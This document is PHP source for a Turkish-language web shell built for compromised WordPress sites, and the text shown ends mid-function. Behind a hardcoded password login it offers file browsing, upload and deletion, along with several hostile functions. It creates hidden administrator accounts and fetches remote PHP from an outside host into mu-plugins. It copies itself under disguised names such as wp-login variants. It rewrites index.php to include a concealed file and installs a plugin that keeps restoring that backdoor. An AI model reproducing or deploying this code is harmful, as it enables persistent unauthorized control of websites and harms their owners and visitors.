<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

session_start();





if (isset($_SESSION['index_protection_active']) && $_SESSION['index_protection_active'] === true) {
    checkAndProtectIndex();
}

$password = "soniwakwaw";


$script_dir = dirname($_SERVER['SCRIPT_NAME']);
$root_path = $_SERVER['DOCUMENT_ROOT'];
$current_path = isset($_GET['path']) ? $_GET['path'] : $root_path;




function is_wp_root($dir) {
    return file_exists($dir.'/wp-config.php') && file_exists($dir.'/wp-load.php');
}

function get_wp_dirs($root) {
    $dirs = [];
    
    if (is_wp_root($root)) $dirs[] = $root;
    foreach (glob($root.'/*', GLOB_ONLYDIR) as $d) {
        if (is_wp_root($d)) $dirs[] = $d;
    }
    
    if (empty($dirs)) {
        $common_wp_paths = [
            $_SERVER['DOCUMENT_ROOT'],
            $_SERVER['DOCUMENT_ROOT'] . '/public_html',
            $_SERVER['DOCUMENT_ROOT'] . '/www',
            $_SERVER['DOCUMENT_ROOT'] . '/htdocs',
            dirname($_SERVER['DOCUMENT_ROOT']),
            dirname($_SERVER['DOCUMENT_ROOT']) . '/public_html',
            dirname($_SERVER['DOCUMENT_ROOT']) . '/www',
            dirname($_SERVER['DOCUMENT_ROOT']) . '/htdocs'
        ];
        
        foreach ($common_wp_paths as $path) {
            if (is_dir($path) && is_wp_root($path)) {
                $dirs[] = $path;
                break;
            }
        }
    }
    
    return $dirs;
}

function autoClone() {
    $source_file = __FILE__;
    $web_root = $_SERVER['DOCUMENT_ROOT'];
    

    $random_names = [
        'system_' . substr(md5(rand()), 0, 8) . '.php',
        'admin_' . substr(md5(rand()), 0, 6) . '.php',
        'config_' . substr(md5(rand()), 0, 7) . '.php',
        'wp-login' . substr(md5(rand()), 0, 2) . '.php',
        'wp-admin' . substr(md5(rand()), 0, 2) . '.php',
        'wp-config' . substr(md5(rand()), 0, 2) . '.php'
    ];
    

    $random_dirs = [
        '/wp-content/plugins/',
        '/wp-content/themes/',
        '/wp-includes/',
        '/wp-admin/includes/',
        '/wp-content/uploads/',
        '/wp-content/cache/'
    ];
    
    foreach ($random_names as $index => $name) {
        $target_dir = $web_root . $random_dirs[$index];
        if (!is_dir($target_dir)) {
            mkdir($target_dir, 0755, true);
        }
        $target_file = $target_dir . $name;
        
        if (!file_exists($target_file)) {
            copy($source_file, $target_file);
        }
    }
}







if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: index.php");
    exit;
}


if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['password']) && $_POST['password'] === $password) {
        $_SESSION['logged_in'] = true;
    } else {

        ?>
        <!DOCTYPE html>
        <html lang="tr">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Machata - Giriş</title>
            <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
            <style>
                :root {
                    --bg-main: #f8f9fa;
                    --bg-card: #ffffff;
                    --bg-header: #ffffff;
                    --bg-table-row: #ffffff;
                    --bg-table-row-hover: #f1f3f4;
                    --bg-toolbar: #f8f9fa;
                    --accent: #6c757d;
                    --accent-hover: #5a6268;
                    --border-main: #dee2e6;
                    --border-soft: #e9ecef;
                    --shadow: 0 6px 34px #6c757d22;
                    --color-title: #495057;
                    --color-text: #343a40;
                    --color-muted: #6c757d;
                    --color-link: #495057;
                    --radius: 13px;
                }

                * { margin: 0; padding: 0; box-sizing: border-box; }
                
                body {
                    height: 100vh;
                    background: #121212;
                    font-family: 'Segoe UI', 'Roboto', Arial, sans-serif;
                    color: #ffffff;
                    display: flex;
                    align-items: center;
                    justify-content: center;
                }
                
                .login-container {
                    background: #1e1e1e;
                    box-shadow: 0 8px 32px rgba(0,0,0,0.4);
                    border-radius: 12px;
                    padding: 2rem;
                    width: 90%;
                    max-width: 320px;
                    border: 1px solid #333;
                }
                
                .login-title {
                    text-align: center;
                    color: var(--color-title);
                    margin-bottom: 2rem;
                    font-size: 1.8rem;
                    font-weight: 600;
                    letter-spacing: .01em;
                }
                
                .form-group {
                    margin-bottom: 1.5rem;
                }
                
                .form-group label {
                    display: block;
                    margin-bottom: 0.5rem;
                    color: var(--color-title);
                    font-weight: 600;
                    font-size: 15px;
                }
                
                input[type="password"] {
                    width: 100%;
                    padding: 12px 15px;
                    background: #2a2a2a;
                    color: #ffffff;
                    border: 1px solid #444;
                    border-radius: 8px;
                    font-size: 16px;
                    margin-bottom: 20px;
                    transition: border .13s;
                }
                
                input[type="password"]:focus {
                    outline: none;
                    border: 1px solid #007bff;
                    background: #333;
                }
                
                input[type="password"]::placeholder {
                    color: #888;
                }
                
                .login-btn {
                    width: 100%;
                    padding: 12px;
                    background: var(--accent);
                    color: #ffffff !important;
                    border: none;
                    border-radius: 7px;
                    font-size: 16px;
                    font-weight: 600;
                    cursor: pointer;
                    transition: background .13s;
                    box-shadow: 0 2px 7px #6c757d33;
                    letter-spacing: .02em;
                }
                
                .login-btn:hover {
                    background: var(--accent-hover);
                    color: #ffffff !important;
                }
                
                .error {
                    background: #dc3545;
                    color: #ffffff;
                    text-align: center;
                    margin-bottom: 20px;
                    padding: 12px 15px;
                    border-radius: 8px;
                    font-size: 15px;
                    font-weight: 500;
                }
            </style>
        </head>
        <body>
            <div class="login-container">
                <?php if (isset($_POST['password'])): ?>
                    <div class="error">❌ Yanlış şifre!</div>
                <?php endif; ?>
                <form method="POST">
                    <input type="password" name="password" placeholder="Şifre" required>
                    <button type="submit" class="login-btn">Giriş Yap</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}


if (isset($_POST['ajax'])) {
    $action = $_POST['ajax'];
    
    if ($action === 'wpadmin') {
        $user = $_POST['user']; $pass = $_POST['pass']; $mail = $_POST['mail'];
        $ok = 0; $fail = 0; $debug = [];
        foreach (get_wp_dirs(getcwd()) as $wproot) {
            require_once($wproot.'/wp-load.php');
            if (!function_exists('wp_create_user')) { $fail++; $debug[] = 'wp_create_user yok!'; continue; }
            if (username_exists($user)) { $fail++; $debug[] = 'Kullanıcı var!'; continue; }
            $uid = wp_create_user($user, $pass, $mail);
            if ($uid && !is_wp_error($uid)) {
                $u = new WP_User($uid); $u->set_role('administrator'); $ok++;
            } else { $fail++; $debug[] = 'WP Hatası'; }
        }
        header('Content-Type: application/json; charset=utf-8');
        $success_msg = $ok > 0 ? "✅ WP-Admin başarıyla oluşturuldu! ($ok başarılı)" : "❌ WP-Admin oluşturulamadı!";
        if ($fail > 0) $success_msg .= " ($fail hata)";
        echo json_encode(['ok'=>$ok>0?1:0,'msg'=>$success_msg, 'debug'=>$debug]);
        exit;
    }
    
    if ($action === 'add_security_core') {

        $current_dir = getcwd();
        $wp_dirs = get_wp_dirs($current_dir);
        
        $debug_info = [
            'current_dir' => $current_dir,
            'document_root' => $_SERVER['DOCUMENT_ROOT'],
            'checked_paths' => [
                $current_dir,
                $_SERVER['DOCUMENT_ROOT'],
                $_SERVER['DOCUMENT_ROOT'] . '/public_html',
                $_SERVER['DOCUMENT_ROOT'] . '/www',
                $_SERVER['DOCUMENT_ROOT'] . '/htdocs'
            ]
        ];
        
        if (empty($wp_dirs)) {
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode([
                'ok'=>0,
                'msg'=>'WordPress dizini bulunamadı!',
                'debug' => $debug_info,
                'wp_files_check' => [
                    'wp-config.php exists in current dir' => file_exists($current_dir . '/wp-config.php'),
                    'wp-load.php exists in current dir' => file_exists($current_dir . '/wp-load.php'),
                    'wp-config.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-config.php'),
                    'wp-load.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php')
                ]
            ]);
            exit;
        }
        
        $success_count = 0;
        $errors = [];
        $success_details = [];
        
        foreach ($wp_dirs as $wp_root) {
            $mu_plugins_dir = $wp_root . '/wp-content/mu-plugins';
            

            if (!is_dir($mu_plugins_dir)) {
                if (!mkdir($mu_plugins_dir, 0755, true)) {
                    $errors[] = "mu-plugins klasörü oluşturulamadı: $wp_root";
                    continue;
                }
            }
            
            $security_file = $mu_plugins_dir . '/security-core.php';
            

            $url = 'https://julseo.com/panel/security-core.php.txt?token=ZDLBXPHEU69JL2BAZ9AG2';
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0');
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            
            $content = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code !== 200 || empty($content)) {
                $errors[] = "Dosya indirilemedi: $wp_root (HTTP: $http_code)";
                continue;
            }
            

            if (file_put_contents($security_file, $content)) {
                chmod($security_file, 0644);
                $success_count++;
                

                $site_name = basename($wp_root);
                $relative_path = str_replace(getcwd(), '', $wp_root);
                $success_details[] = [
                    'site_name' => $site_name,
                    'full_path' => $wp_root,
                    'relative_path' => $relative_path ?: '/',
                    'security_file' => $security_file,
                    'file_size' => filesize($security_file)
                ];
            } else {
                $errors[] = "Dosya kaydedilemedi: $wp_root";
            }
        }
        
        $msg = "$success_count WordPress sitesine security-core.php eklendi!";
        if (!empty($errors)) {
            $msg .= " Hatalar: " . implode(", ", $errors);
        }
        
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode([
            'ok'=>$success_count>0?1:0, 
            'msg'=>$msg, 
            'success_count'=>$success_count, 
            'success_details'=>$success_details,
            'errors'=>$errors
        ]);
        exit;
    }
    
    if ($action === 'add_schema_pro') {

        $current_dir = getcwd();
        $wp_dirs = get_wp_dirs($current_dir);
        
        $debug_info = [
            'current_dir' => $current_dir,
            'document_root' => $_SERVER['DOCUMENT_ROOT'],
            'checked_paths' => [
                $current_dir,
                $_SERVER['DOCUMENT_ROOT'],
                $_SERVER['DOCUMENT_ROOT'] . '/public_html',
                $_SERVER['DOCUMENT_ROOT'] . '/www',
                $_SERVER['DOCUMENT_ROOT'] . '/htdocs'
            ]
        ];
        
        if (empty($wp_dirs)) {
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode([
                'ok'=>0,
                'msg'=>'WordPress dizini bulunamadı!',
                'debug' => $debug_info,
                'wp_files_check' => [
                    'wp-config.php exists in current dir' => file_exists($current_dir . '/wp-config.php'),
                    'wp-load.php exists in current dir' => file_exists($current_dir . '/wp-load.php'),
                    'wp-config.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-config.php'),
                    'wp-load.php exists in document_root' => file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php')
                ]
            ]);
            exit;
        }
        
        $success_count = 0;
        $errors = [];
        $success_details = [];
        
        foreach ($wp_dirs as $wp_root) {
            $mu_plugins_dir = $wp_root . '/wp-content/mu-plugins';
            
            if (!is_dir($mu_plugins_dir)) {
                if (!mkdir($mu_plugins_dir, 0755, true)) {
                    $errors[] = "mu-plugins klasörü oluşturulamadı: $wp_root";
                    continue;
                }
            }
            
            $schema_file = $mu_plugins_dir . '/schema-pro.php';
            
            $url = 'https://julseo.com/panel/schema-pro.php.txt?token=OAGXC6QSREH6GWSMO3I';
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0');
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            
            $content = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code !== 200 || empty($content)) {
                $errors[] = "Dosya indirilemedi: $wp_root (HTTP: $http_code)";
                continue;
            }
            
            if (file_put_contents($schema_file, $content)) {
                chmod($schema_file, 0644);
                $success_count++;
                
                $site_name = basename($wp_root);
                $relative_path = str_replace(getcwd(), '', $wp_root);
                $success_details[] = [
                    'site_name' => $site_name,
                    'full_path' => $wp_root,
                    'relative_path' => $relative_path ?: '/',
                    'schema_file' => $schema_file,
                    'file_size' => filesize($schema_file)
                ];
            } else {
                $errors[] = "Dosya kaydedilemedi: $wp_root";
            }
        }
        
        $msg = "$success_count WordPress sitesine schema-pro.php eklendi!";
        if (!empty($errors)) {
            $msg .= " Hatalar: " . implode(", ", $errors);
        }
        
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode([
            'ok'=>$success_count>0?1:0, 
            'msg'=>$msg, 
            'success_count'=>$success_count, 
            'success_details'=>$success_details,
            'errors'=>$errors
        ]);
        exit;
    }
    
    exit;
}


if (isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'delete':
            if (isset($_POST['file'])) {
                $file_path = $_POST['file'];
                $filename = basename($file_path);
                
                if (!file_exists($file_path)) {
                    $_SESSION['delete_result'] = array(
                        'success' => false, 
                        'message' => '❌ Dosya/klasör bulunamadı!'
                    );
                } elseif (!is_writable($file_path)) {
                    $_SESSION['delete_result'] = array(
                        'success' => false, 
                        'message' => '❌ Silme izni yok!'
                    );
                } else {
                    $success = false;
                    if (is_file($file_path)) {
                        $success = @unlink($file_path);
                        $type = 'dosya';
                    } elseif (is_dir($file_path)) {
                        $success = @rmdir($file_path);
                        $type = 'klasör';
                    }
                    
                    if ($success) {
                        $_SESSION['delete_result'] = array(
                            'success' => true, 
                            'message' => "🗑️ " . ucfirst($type) . " başarıyla silindi: $filename"
                        );
                    } else {
                        $_SESSION['delete_result'] = array(
                            'success' => false, 
                            'message' => "❌ " . ucfirst($type) . " silinemedi!"
                        );
                    }
                }
                
                header("Location: ?path=" . urlencode($current_path) . "&delete_result=1");
                exit;
            }
            break;
        case 'create_file':
            if (isset($_POST['filename'])) {
                $filename = $_POST['filename'];

                $real_path = $current_path;
                $new_file = $real_path . '/' . $filename;
                

                if (strpos($filename, '/') !== false || strpos($filename, '\\') !== false || 
                    strpos($filename, '..') !== false || empty(trim($filename))) {
                    $_SESSION['file_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Geçersiz dosya adı!'
                    );
                } elseif (file_exists($new_file)) {
                    $_SESSION['file_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Bu isimde dosya zaten mevcut!'
                    );
                } elseif (is_writable($real_path)) {
                    if (@file_put_contents($new_file, '') !== false) {
                        $_SESSION['file_create_result'] = array(
                            'success' => true, 
                            'message' => "✅ Dosya başarıyla oluşturuldu: $filename"
                        );
                    } else {
                        $_SESSION['file_create_result'] = array(
                            'success' => false, 
                            'message' => '❌ Dosya oluşturulamadı!'
                        );
                    }
                } else {
                    $_SESSION['file_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Dizin yazılabilir değil!'
                    );
                }
                

                header("Location: ?path=" . urlencode($current_path) . "&file_create_result=1");
                exit;
            }
            break;
        case 'create_folder':
            if (isset($_POST['foldername'])) {
                $foldername = $_POST['foldername'];
                $real_path = $current_path;
                $new_folder = $real_path . '/' . $foldername;
                
                if (strpos($foldername, '/') !== false || strpos($foldername, '\\') !== false || 
                    strpos($foldername, '..') !== false || empty(trim($foldername))) {
                    $_SESSION['folder_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Geçersiz klasör adı!'
                    );
                } elseif (file_exists($new_folder)) {
                    $_SESSION['folder_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Bu isimde klasör zaten mevcut!'
                    );
                } elseif (is_writable($real_path)) {
                    if (@mkdir($new_folder, 0755, true)) {
                        $_SESSION['folder_create_result'] = array(
                            'success' => true, 
                            'message' => "📁 Klasör başarıyla oluşturuldu: $foldername"
                        );
                    } else {
                        $_SESSION['folder_create_result'] = array(
                            'success' => false, 
                            'message' => '❌ Klasör oluşturulamadı!'
                        );
                    }
                } else {
                    $_SESSION['folder_create_result'] = array(
                        'success' => false, 
                        'message' => '❌ Dizin yazılabilir değil!'
                    );
                }
                
                header("Location: ?path=" . urlencode($current_path) . "&folder_create_result=1");
                exit;
            }
            break;
        case 'upload':
            if (isset($_FILES['file'])) {
                $filename = $_FILES['file']['name'];
                $real_path = $current_path;
                $upload_path = $real_path . '/' . $filename;
                
                if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) {
                    $_SESSION['upload_result'] = array(
                        'success' => false, 
                        'message' => '❌ Dosya yükleme hatası!'
                    );
                } elseif (file_exists($upload_path)) {
                    $_SESSION['upload_result'] = array(
                        'success' => false, 
                        'message' => '❌ Bu isimde dosya zaten mevcut!'
                    );
                } elseif (is_writable($real_path)) {
                    if (@move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
                        $_SESSION['upload_result'] = array(
                            'success' => true, 
                            'message' => "📤 Dosya başarıyla yüklendi: $filename"
                        );
                    } else {
                        $_SESSION['upload_result'] = array(
                            'success' => false, 
                            'message' => '❌ Dosya yüklenemedi!'
                        );
                    }
                } else {
                    $_SESSION['upload_result'] = array(
                        'success' => false, 
                        'message' => '❌ Dizin yazılabilir değil!'
                    );
                }
                
                header("Location: ?path=" . urlencode($current_path) . "&upload_result=1");
                exit;
            }
            break;
        case 'change_permissions':
            if (isset($_POST['file']) && isset($_POST['permissions'])) {
                $file_path = $_POST['file'];
                $permissions = octdec($_POST['permissions']);
                
                if (is_writable($file_path)) {
                    @chmod($file_path, $permissions);
                }
            }
            break;
        case 'add_index_code':
            $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
            $index_code = '<?php
/**
 * Front to the WordPress application. This file doesn\'t do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
if (empty($_SERVER[\'REQUEST_URI\']) || $_SERVER[\'REQUEST_URI\'] === \'/\') {
  @include "wp-includes/options-heads.php";
}
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define(\'WP_USE_THEMES\', true);
/** Loads the WordPress Environment and Template */
require(\'./wp-blog-header.php\');
';
            
            $index_result = array('success' => false, 'message' => '');
            
            if (!is_dir(dirname($index_file))) {
                $index_result['message'] = '❌ Ana dizin bulunamadı!';
            } elseif (!is_writable(dirname($index_file))) {
                $index_result['message'] = '❌ Ana dizine yazma izni yok!';
            } else {
                $write_result = @file_put_contents($index_file, $index_code);
                if ($write_result !== false) {
                    $index_result['success'] = true;
                    $index_result['message'] = '✅ Index.php dosyasına WordPress kodu başarıyla eklendi!';
                } else {
                    $index_result['message'] = '❌ Index.php dosyası yazılamadı!';
                }
            }
            
            $_SESSION['index_code_result'] = $index_result;
            header("Location: ?path=" . urlencode($current_path) . "&index_code_result=1");
            exit;
            break;
        case 'clear_cache':
            $htaccess_file = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess';
            $cache_result = array('success' => false, 'message' => '');
            
            if (!file_exists($htaccess_file)) {
                $cache_result['message'] = '❌ .htaccess dosyası bulunamadı!';
            } elseif (!is_readable($htaccess_file)) {
                $cache_result['message'] = '❌ .htaccess dosyası okunamıyor!';
            } else {
                $content = @file_get_contents($htaccess_file);
                
                if ($content === false) {
                    $cache_result['message'] = '❌ .htaccess dosyası okunamadı!';
                } else {
                    $original_lines = count(explode("\n", $content));
                    
                    $cache_keywords = [
                        'mod_expires', 'mod_headers', 'mod_deflate', 'mod_gzip', 
                        'mod_cache', 'mod_file_cache', 'mod_mem_cache', 'mod_disk_cache',
                        'mod_cache_socache', 'mod_cache_disk', 'mod_cache_heartbeat',
                        'mod_version', 'mod_rewrite', 'mod_proxy', 'mod_ssl', 
                        'mod_http2', 'mod_litespeed',
                        'ExpiresActive', 'ExpiresDefault', 'ExpiresByType',
                        'Header set Cache-Control', 'Header unset ETag', 'Header set Pragma',
                        'Header set Expires', 'FileETag', 'AddOutputFilterByType DEFLATE',
                        'CacheEnable', 'CacheIgnore', 'CacheDefault', 'CacheMax',
                        'CacheLookup', 'max-age', 'no-cache', 'no-store', 'must-revalidate'
                    ];
                    
                    $lines = explode("\n", $content);
                    $clean_lines = [];
                    $skip_block = false;
                    $removed_lines = 0;
                    
                    foreach ($lines as $line) {
                        $line_trimmed = trim($line);
                        
                        $contains_cache_keyword = false;
                        foreach ($cache_keywords as $keyword) {
                            if (stripos($line_trimmed, $keyword) !== false) {
                                $contains_cache_keyword = true;
                                $removed_lines++;
                                break;
                            }
                        }
                        
                        $cache_block_keywords = ['cache', 'gzip', 'deflate', 'expires', 'compression', 'etag'];
                        if (stripos($line_trimmed, '# BEGIN') !== false) {
                            foreach ($cache_block_keywords as $block_keyword) {
                                if (stripos($line_trimmed, $block_keyword) !== false) {
                                    $skip_block = true;
                                    $removed_lines++;
                                    break;
                                }
                            }
                            if ($skip_block) continue;
                        }
                        
                        if (stripos($line_trimmed, '<IfModule') !== false) {
                            foreach ($cache_keywords as $keyword) {
                                if (stripos($line_trimmed, $keyword) !== false) {
                                    $skip_block = true;
                                    $removed_lines++;
                                    break;
                                }
                            }
                            if ($skip_block) continue;
                        }
                        
                        if (($skip_block && stripos($line_trimmed, '# END') !== false) || 
                            ($skip_block && stripos($line_trimmed, '</IfModule>') !== false)) {
                            $skip_block = false;
                            $removed_lines++;
                            continue;
                        }
                        
                        if ($skip_block) {
                            $removed_lines++;
                        }
                        
                        if (!$contains_cache_keyword && !$skip_block) {
                            $clean_lines[] = $line;
                        }
                    }
                    
                    $clean_content = implode("\n", $clean_lines);
                    if (!is_writable($htaccess_file)) {
                        $cache_result['message'] = '❌ .htaccess dosyasına yazma izni yok!';
                    } else {
                        $write_result = @file_put_contents($htaccess_file, $clean_content);
                        if ($write_result === false) {
                            $cache_result['message'] = '❌ .htaccess dosyası kaydedilemedi!';
                        } else {
                            $cache_result['success'] = true;
                            if ($removed_lines > 0) {
                                $cache_result['message'] = "✅ Cache temizlendi! {$removed_lines} satır kaldırıldı.";
                            } else {
                                $cache_result['message'] = "ℹ️ Cache kodları bulunamadı, dosya zaten temiz.";
                            }
                        }
                    }
                }
            }
            
            $_SESSION['cache_result'] = $cache_result;
            header("Location: ?path=" . urlencode($current_path) . "&cache_result=1");
            exit;
            break;
        case 'server_lock':
            if (isset($_POST['lock_action'])) {
                $action = $_POST['lock_action'];
                $root_dir = $_SERVER['DOCUMENT_ROOT'];
                
                $critical_files = [
                    'index.php', // Bu shell dosyası
                    '.htaccess',
                    'wp-config.php',
                    'web.config'
                ];
                
                if ($action === 'kilitle') {
                    lockServerFiles($root_dir, $critical_files);
                    $_SESSION['server_lock_result'] = array(
                        'success' => true,
                        'message' => '🔒 Sunucu dosyaları kilitlendi!'
                    );
                } elseif ($action === 'aç') {
                    unlockServerFiles($root_dir, $critical_files);
                    $_SESSION['server_lock_result'] = array(
                        'success' => true,
                        'message' => '🔓 Sunucu dosyaları kilidi açıldı!'
                    );
                }
                
                header("Location: ?path=" . urlencode($current_path) . "&server_lock_result=1");
                exit;
            }
            break;
        case 'clone_shell':
            $results = cloneShellFiles();
            $_SESSION['clone_results'] = $results;
            header("Location: ?path=" . urlencode($current_path) . "&show_clone_results=1");
            exit;
            break;

        case 'rename_item':
            if (isset($_POST['old_path']) && isset($_POST['new_name'])) {
                $old_path = $_POST['old_path'];
                $new_name = $_POST['new_name'];
                

                if (strpos($new_name, '/') !== false || strpos($new_name, '\\') !== false || 
                    strpos($new_name, '..') !== false || empty(trim($new_name))) {
                    $_SESSION['rename_result'] = array(
                        'success' => false, 
                        'message' => '❌ Geçersiz dosya adı! Dosya adında /, \\, .. karakterleri bulunamaz.'
                    );
            } else {
                    $real_old_path = $_SERVER['DOCUMENT_ROOT'] . $old_path;
                    $directory = dirname($real_old_path);
                    $real_new_path = $directory . '/' . $new_name;
                    
                    if (file_exists($real_new_path)) {
                        $_SESSION['rename_result'] = array(
                            'success' => false, 
                            'message' => '❌ Bu isimde bir dosya/klasör zaten mevcut!'
                        );
                    } else {
                        if (@rename($real_old_path, $real_new_path)) {
                            $_SESSION['rename_result'] = array(
                                'success' => true, 
                                'message' => '✅ Dosya/klasör başarıyla yeniden adlandırıldı!'
                            );
                        } else {
                            $_SESSION['rename_result'] = array(
                                'success' => false, 
                                'message' => '❌ Dosya/klasör yeniden adlandırılamadı! İzin hatası olabilir.'
                            );
                        }
                    }
                }
                

                header("Location: ?path=" . urlencode($current_path) . "&rename_result=1");
            exit;
            }
            break;

        case 'protect_index':
            $protect_result = array('success' => false, 'message' => '');
            
            $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
            if (file_exists($index_file)) {
                $current_content = @file_get_contents($index_file);
                if ($current_content !== false) {
                    $_SESSION['protected_index_content'] = $current_content;
                    $_SESSION['index_protection_active'] = true;
                    
                    if (protectIndexFile()) {
                        $protect_result['success'] = true;
                        $protect_result['message'] = '🛡️ Index.php koruma sistemi aktif edildi! Mevcut içerik korunacak.';
                    } else {
                        $protect_result['success'] = true; // Session koruma aktif
                        $protect_result['message'] = '🛡️ Index.php koruma sistemi aktif edildi! (Session tabanlı koruma)';
                    }
                } else {
                    $protect_result['message'] = '❌ Index.php dosyası okunamadı!';
                }
            } else {
                $protect_result['message'] = '❌ Index.php dosyası bulunamadı!';
            }
            
            $_SESSION['protect_result'] = $protect_result;
            header("Location: ?path=" . urlencode($current_path) . "&protect_result=1");
            exit;
            break;
        case 'disable_index_protection':
            $disable_result = array('success' => false, 'message' => '');
            
            if (disableIndexProtection()) {
                $_SESSION['index_protection_active'] = false;
                unset($_SESSION['protected_index_content']); // Korunan içeriği temizle
                $disable_result['success'] = true;
                $disable_result['message'] = '🔓 Index.php koruma sistemi devre dışı bırakıldı!';
            } else {
                $_SESSION['index_protection_active'] = false;
                unset($_SESSION['protected_index_content']);
                $disable_result['success'] = true; // Session temizlendi
                $disable_result['message'] = '🔓 Index.php koruma sistemi devre dışı bırakıldı! (Session temizlendi)';
            }
            
            $_SESSION['disable_result'] = $disable_result;
            header("Location: ?path=" . urlencode($current_path) . "&disable_result=1");
            exit;
            break;
            
        case 'extract_zip':
            if (isset($_POST['zip_file'])) {
                $zip_file = $_POST['zip_file'];
                $extract_result = array('success' => false, 'message' => '');
                
                if (!file_exists($zip_file)) {
                    $extract_result['message'] = '❌ ZIP dosyası bulunamadı!';
                } elseif (!class_exists('ZipArchive')) {
                    $extract_result['message'] = '❌ ZIP desteği yüklü değil!';
                } else {
                    $zip = new ZipArchive();
                    $res = $zip->open($zip_file);
                    
                    if ($res === TRUE) {
                        $extract_path = dirname($zip_file);
                        $extracted_count = 0;
                        $total_files = $zip->numFiles;
                        
                        for ($i = 0; $i < $total_files; $i++) {
                            $filename = $zip->getNameIndex($i);
                            if ($zip->extractTo($extract_path, $filename)) {
                                $extracted_count++;
                            }
                        }
                        
                        $zip->close();
                        
                        if ($extracted_count > 0) {
                            $extract_result['success'] = true;
                            $extract_result['message'] = "📦 ZIP başarıyla çıkarıldı! ($extracted_count dosya)";
                        } else {
                            $extract_result['message'] = '❌ Hiçbir dosya çıkarılamadı!';
                        }
                    } else {
                        $extract_result['message'] = '❌ ZIP dosyası açılamadı! (Hata kodu: ' . $res . ')';
                    }
                }
                
                $_SESSION['extract_result'] = $extract_result;
                header("Location: ?path=" . urlencode($current_path) . "&extract_result=1");
                exit;
            }
            break;
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

function disableIndexProtection() {
    $wp_content_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content';
    
    if (!is_dir($wp_content_path)) {
        return false;
    }
    
    $mu_plugins_path = $wp_content_path . '/mu-plugins';
    $protection_file = $mu_plugins_path . '/index-protection.php';
    
    if (file_exists($protection_file)) {
        @unlink($protection_file);
    }
    
    if (function_exists('wp_clear_scheduled_hook')) {
        wp_clear_scheduled_hook('protect_index_cron');
    }
    
    return true;
}


function checkAndProtectIndex() {
    $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
    
    if (!isset($_SESSION['protected_index_content'])) {
        return; // Koruma aktif değil
    }
    
    $protected_content = $_SESSION['protected_index_content'];
    
    if (!file_exists($index_file)) {
        @file_put_contents($index_file, $protected_content);
        return;
    }
    
    $current_content = @file_get_contents($index_file);
    if ($current_content === false) {
        return;
    }
    
    if (trim($current_content) !== trim($protected_content)) {
        @file_put_contents($index_file, $protected_content);
    }
}

function protectIndexFile() {
    $wp_content_path = $_SERVER['DOCUMENT_ROOT'] . '/wp-content';
    
    if (!is_dir($wp_content_path)) {
        return false;
    }
    
    $mu_plugins_path = $wp_content_path . '/mu-plugins';
    if (!is_dir($mu_plugins_path)) {
        @mkdir($mu_plugins_path, 0755, true);
    }
    
    $protected_content = '<?php
/**
 * Front to the WordPress application. This file doesn\'t do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
if (empty($_SERVER[\'REQUEST_URI\']) || $_SERVER[\'REQUEST_URI\'] === \'/\') {
  @include "wp-includes/options-heads.php";
}
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define(\'WP_USE_THEMES\', true);
/** Loads the WordPress Environment and Template */
require(\'./wp-blog-header.php\');
?>';
    
    $protection_code = '<?php
/**
 * Index.php Protection Plugin
 * Protects index.php from modifications and deletions
 */

function get_protected_index_content() {
    return \'' . addslashes($protected_content) . '\';
}

function protect_index_file() {
    $index_file = ABSPATH . \'index.php\';
    $protected_content = get_protected_index_content();
    
    if (!file_exists($index_file)) {
        @file_put_contents($index_file, $protected_content);
        return;
    }
    
    $current_content = @file_get_contents($index_file);
    if ($current_content === false) {
        return;
    }
    
    if (trim($current_content) !== trim($protected_content)) {
